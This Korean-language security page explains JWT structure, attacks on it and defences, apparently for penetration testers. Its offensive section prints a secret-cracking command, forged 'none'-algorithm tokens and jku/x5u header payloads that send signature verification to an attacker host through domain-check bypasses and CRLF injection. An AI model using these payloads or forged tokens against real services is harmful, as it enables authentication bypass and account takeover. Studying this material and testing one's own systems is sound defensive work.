JWT Security
Introduction
JWT(JSON Web Token)은 전자 서명을 포함한 JSON 형태의 표준 포맷입니다. RFC7519에 정의되어 있으며 이를 통해 서버, 클라이언트 등 상호간의 통신 시 시그니처를 검증하여 위변조 여부를 체크할 수 있고 expire 값을 통해 만료 여부도 체크할 수 있습니다.
본래 인증 목적으로 구성된 표준은 아니지만, SPA(Single Page Application)에서 쉽게 인증을 구현하기 위해 JWT를 세션 토큰처럼 사용하는 경우도 많습니다.
JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.
Struct of JWT
JWT는 HEADER
/PAYLOAD
/SIGNATURE
이렇게 3가지의 필도로 나뉘어져 있습니다. 모든 필드는 JSON으로 표현되며 이러한 JSON 필드들을 각각 Base64 인코딩한게 하여 하나의 값으로 합친 것이 JWT 입니다.
HEADER
HEADER는 JWT의 전반적인 정보를 담는 필드입니다. 보통 alg
값으로 서명 알고리즘(e.g HS256)을 알 수 있습니다.
List of Algorithms
- None
- hs256
- hs384
- hs512
- rs256
- rs384
- rs512
- es256
- es384
- es512
- ps256
- ps384
- ps512
PAYLOAD PAYLOAD는 사용자가 추가한 데이터 영역입니다.
SIGNATURE JWT 값의 무결성을 유지하기 위해 서명된 값이 포함되는 필드입니다. 일반적으로 여기에 들어가는 값은 HEADER에서 alg로 서명 알고리즘을 명시해주며, 이 Signature 값을 통해 JWT를 생성한 이후에 데이터에 대한 변조가 있었는지 알 수 있게 됩니다.
이 때 서명은 HEADER
+ .
+ PAYLOAD
의 값을 기반으로 생성합니다.
Offensive techniques
JWT 내 중요정보 포함
JWT는 Base64된 JSON 값입니다. 곧 Base64를 Decode하면 누구나 내용을 볼 수 있기 때문에 JWT 안에는 중요한 정보를 평문으로 담지 않는게 좋습니다.
JWT Token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.5m9zFPGPU0LMdTTLCR7jXMP8357nNAa0z8ABJJE3r3c
Decoded
{
"sub": "1234567890",
"name": "HAHWUL",
"refresh_token":"abcd12345464",
"iat": 1516239022
}
JWT Signature Secret Crack
JWT는 분문에 대한 위변조 방지를 위한 서명을 JWT 데이터에 포함하여 전송합니다. 이 서명값은 정해진 Secret 값으로 검증할 수 있어 데이터에 대한 무결성을 검증할 수 있습니다. 다만 Secret이 노출되거나 단순한 패턴을 사용하는 경우 여러가지 도구들을 이용해서 Crack을 시도하고 만약 공격자가 Crack을 통해 Secret 값을 얻어낸다면 임의로 JWT 토큰을 생성/수정할 수 있어 JWT를 기반으로 한 비즈니스 로직에 크게 무결성을 해칠 수 있습니다.
jwt-hack crack -w {WORDLIST} {JWT_CODE}
https://github.com/hahwul/jwt-hack
{{< asciinema key=”412004” rows=”10” preload=”1” >}}
jwt 관련 도구들은 대다수가 cracking 관련 도구이며, 아래 tools 부분 참고하시길 바랍니다.
None Algorithm attack
JWT의 대표적인 공격 방법 중 하나인 None Algorithm입니다. JWT는 HEADER 영역에 alg 값을 통해 알고리즘을 명시할 수 있는데, JWT 토큰 생성 시 alg 값을 None으로 명시했거나, 일부 JWT 라이브러리들은 alg 값에 none 등 비 서명 처리 시 서명검증을 하지 않고 넘어갈 수 있는 취약성을 가지고 있습니다. 이를 이용하면 공격자가 Secret 값을 몰라도 이를 통해서 JWT를 임의로 생성하거나 수정할 수 있습니다.
jwt-hack payload eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.5m9zFPGPU0LMdTTLCR7jXMP8357nNAa0z8ABJJE3r3c
```INFO[0000] Generate none payload header="{\"alg\":\"none\",\"typ\":\"JWT\"}" payload=none
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate NonE payload header="{\"alg\":\"NonE\",\"typ\":\"JWT\"}" payload=NonE
eyJhbGciOiJOb25FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate NONE payload header="{\"alg\":\"NONE\",\"typ\":\"JWT\"}" payload=NONE
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
... 생략 ...
JKU and X5U
jku, x5u는 JWS(Json Web Signature)에서 사용되는 파라미터로 키 기반 서명을 위한 재료입니다. jku와 x5u 필드를 통해 키 검증을 위한 서버를 지정할 수 있으며 이 값들은 HEADER 필드에 명시합니다.
e.g
Base64({"jku": "https://...."})
Base64({"x5u": "https://...."})
jku와 x5u에 명시된 도메인은 이를 서명 검증하는 Application에서 접근해서 검증할 Trusted 서버이기 떄문에 만약 이 값이 변조되었다면 서버는 변조된 서버로 서명 검증을 하려고 요청하게 됩니다.
이 때 jku와 x5u 도메인에 대한 검증이 과정이 있을 가능성이 존재하지만, SSRF와 유사하게 도메인 검사 로직을 우회하는 형태로 공격 페이로드 구성이 가능합니다.
* https://trustedZattacker.com
* https://trusted@attacker.com
* https://trusted/jwks/../file_uploaded
* https://trusted/jwks/../open_redirect_page=attacker.com
* https://trusted/jwks/../header_injection
jwt-hack에서도 이를 위한 payload 기능을 제공하고 있습니다.
jwt-hack payload eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.5m9zFPGPU0LMdTTLCR7jXMP8357nNAa0z8ABJJE3r3c --jwk-attack attack.hahwul.com --jwk-protocol https --jwk-trust trust.hahwul.com
... 생략 ...
INFO[0000] Generate jku + basic payload header="{\"alg\":\"hs256\",\"jku\":\"attack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6ImF0dGFjay5oYWh3dWwuY29tIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate jku host validation payload header="{\"alg\":\"hs256\",\"jku\":\"https://trust.hahwul.comZattack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbVphdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate jku host validation payload header="{\"alg\":\"hs256\",\"jku\":\"https://trust.hahwul.com@attack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbUBhdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate jku host header injection (w/CRLF) payload header="{\"alg\":\"hs256\",\"jku\":\"https://trust.hahwul.com%0d0aHost: attack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbSUwZDBhSG9zdDogYXR0YWNrLmhhaHd1bC5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate x5u + basic payload header="{\"alg\":\"hs256\",\"x5u\":\"attack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6ImF0dGFjay5oYWh3dWwuY29tIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate x5u host validation payload header="{\"alg\":\"hs256\",\"x5u\":\"https://trust.hahwul.comZattack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbVphdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate x5u host validation payload header="{\"alg\":\"hs256\",\"x5u\":\"https://trust.hahwul.com@attack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbUBhdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
INFO[0000] Generate x5u host header injection (w/CRLF) payload header="{\"alg\":\"hs256\",\"x5u\":\"https://trust.hahwul.com%0d0aHost: attack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbSUwZDBhSG9zdDogYXR0YWNrLmhhaHd1bC5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
Defensive techniques
짧은 만료시간
JWT 자체가 토큰 내부에 만료 시간을 저장하고 서버가 만료 여부만 체크하기 때문에 명시적 로그아웃이나 브라우징 종료에 대해서 서버가 식별할 수 없습니다. 그래서 중요한 서비스인 경우 JWT 자체의 만료 시간을 짧게 가져가서 혹시라도 다른 취약점으로 인해 토큰이 노출되어도 추가적인 공격으로 이루어지기 어렵도록 할 수 있습니다.
None Algorithm
JWT의 Signature에 사용되는 알고리즘은 특정한 알고리즘(에를들면 HS256)이 지정되어야 합니다. 만약 none 상태로 사용된다면 쉽게 크랙할 수 있습니다.
Signature Secret의 복잡도
JWT는 내부 값과 유효기간등이 포함된 데이터에 대한 서명을 포함하고 있습니다. 이는 서버에서 발급 시 지정한 알고리즘에 따라서 서명 후 JWT 토큰에 포함되며 서버에서 유효기간과 함께 서명의 정상 여부를 검증하게 됩니다.
보통 Secret을 지정하지 않고 서명하는 경우, Secret에 대한 크랙 정도의 리스크가 있습니다. 제가 예전에 JWT 테스팅을 위해서 jwt-hack을 만들고 여러번 테스트 했을때도 JWT 자체가 네트워크 트래픽이 발생하지 않고도 Signature와 Secret의 매핑 여부를 체크할 수 있는지라 많은 수의 workdlist를 빠르게 crack 해볼 수 있었던 것 같습니다.
아무튼 한번 깨진 secret은 서비스 전체의 JWT 토큰들에 영향을 끼칠 수 있기 떄문에 굉장히 잘 관리되어야 합니다.
내부에 중요정보를 저장하지 않음
JWT는 Base64로 인코딩된 JSON 형태의 값입니다. Base64기 떄문에 쉽게 디코딩해서 볼 수 있고 당연히 중요한 정보는 JWT에 담지 않는 것이 원칙입니다.
Sliding sessions
슬라이딩 세션은 이러한 Stateless 서비스에서의 보안성을 위해 버려지는 편의성을 잡기 위한 세션 전략입니다. 서비스를 계속 사용하는 유저에게는 만료되기 전에 자동으로 만료 기한을 연장시켜주는 방법입니다. 사용자가 웹 페이지에서 활동하는건 JS단에서 쉽게 이벤트 핸들러로 감지할 수 있기 때문에 이러한 코드들을 통해 사용자의 현재 액션 여부를 지속적으로 체크하고 활동 중이라고 판단되면 세션이 만료 시간이 되기 전에 만료시간을 갱신한 토큰을 다시 받아오는 형태로 만료 시간을 연장할 수 있습니다.
e.g
function updateJWT(){
// JWT를 갱신하는 함수를 하나 만들고...
// 물론 이는 서버로 요청해서 받아와야겠죠.
// 단 너무 잦은 요청이 부담스럽다면 현재 JWT의 유효시간을 보고 갱신해도 됩니다.
// 예를들면.. 만기가 다와갈 때
}
// window 전체에 onmouseenter를 걸어서 updateJWT가 호출되도록 합니다.
// 그러면 사용자가 마우스 액션이 있을 때 JWT를 자동으로 갱신 시켜줄 수 있습니다.
// 비슷하게 키보드도 있겠네요.
window.addEventListener("mouseenter", updateJWT, false);
Tools
- https://github.com/hahwul/jwt-hack
- https://github.com/brendan-rius/c-jwt-cracker
- https://github.com/lmammino/jwt-cracker
- https://github.com/hashcat/hashcat/
Articles
- https://www.hahwul.com/2021/05/05/sliding-sessions/
- https://www.hahwul.com/2019/10/11/jwt-cracker-secret-key-crack/
- https://www.hahwul.com/2016/01/20/web-hacking-jwtjson-web-token-jwt-test/
References
- https://jwt.io
- https://tools.ietf.org/html/rfc7519 (JWT)
- https://tools.ietf.org/html/rfc7515 (JWS)
- https://www.slideshare.net/snyff/jwt-jku-x5u